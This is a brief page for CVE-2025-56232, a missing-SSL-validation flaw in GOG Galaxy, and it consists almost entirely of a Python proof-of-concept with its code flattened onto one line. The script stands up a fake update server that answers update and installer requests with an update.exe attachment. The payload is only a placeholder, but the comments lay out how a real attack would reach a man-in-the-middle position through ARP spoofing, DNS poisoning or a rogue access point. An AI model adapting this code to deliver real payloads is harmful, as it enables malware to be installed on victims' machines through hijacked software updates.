CVE-2025-56232 | GOG Galaxy 缺少SSL证书验证中间人攻击漏洞

#!/usr/bin/env python3 """ CVE-2025-56232 - GOG Galaxy Missing SSL Certificate Validation PoC This is a simplified demonstration of the MitM attack vector. For educational and authorized testing purposes only. """ import http.server import ssl import socketserver from urllib.parse import urlparse class MaliciousUpdateServer(http.server.SimpleHTTPRequestHandler): """Malicious server that impersonates GOG update server""" def do_GET(self): parsed_path = urlparse(self.path) print(f"[*] Incoming request: {self.path}") # Check if this is an update request if 'update' in parsed_path.path.lower() or 'installer' in parsed_path.path.lower(): print("[+] Intercepted update request - serving malicious payload") # Serve malicious payload instead of legitimate update self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.send_header('Content-Disposition', 'attachment; filename=update.exe') self.end_headers() # In real attack: malicious executable would be sent here # For demo purposes, sending a benign response self.wfile.write(b'MALICIOUS_PAYLOAD_PLACEHOLDER') else: # Forward to legitimate server in real attack self.send_response(404) self.end_headers() def log_message(self, format, *args): print(f"[REQUEST] {format % args}") def start_mitm_proxy(listen_port=8080): """Start the MitM proxy server""" print(f"[*] Starting malicious server on port {listen_port}") print("[*] In real attack, this would be positioned between victim and GOG server") # Note: In actual exploitation: # 1. Attacker needs to be in MitM position (ARP spoof, DNS poisoning, rogue AP) # 2. Attacker would forward legitimate traffic while injecting malicious updates # 3. No SSL certificate validation on client side allows successful impersonation with socketserver.TCPServer(("", listen_port), MaliciousUpdateServer) as httpd: print(f"[*] Server listening on port {listen_port}") httpd.serve_forever() if __name__ == "__main__": start_mitm_proxy()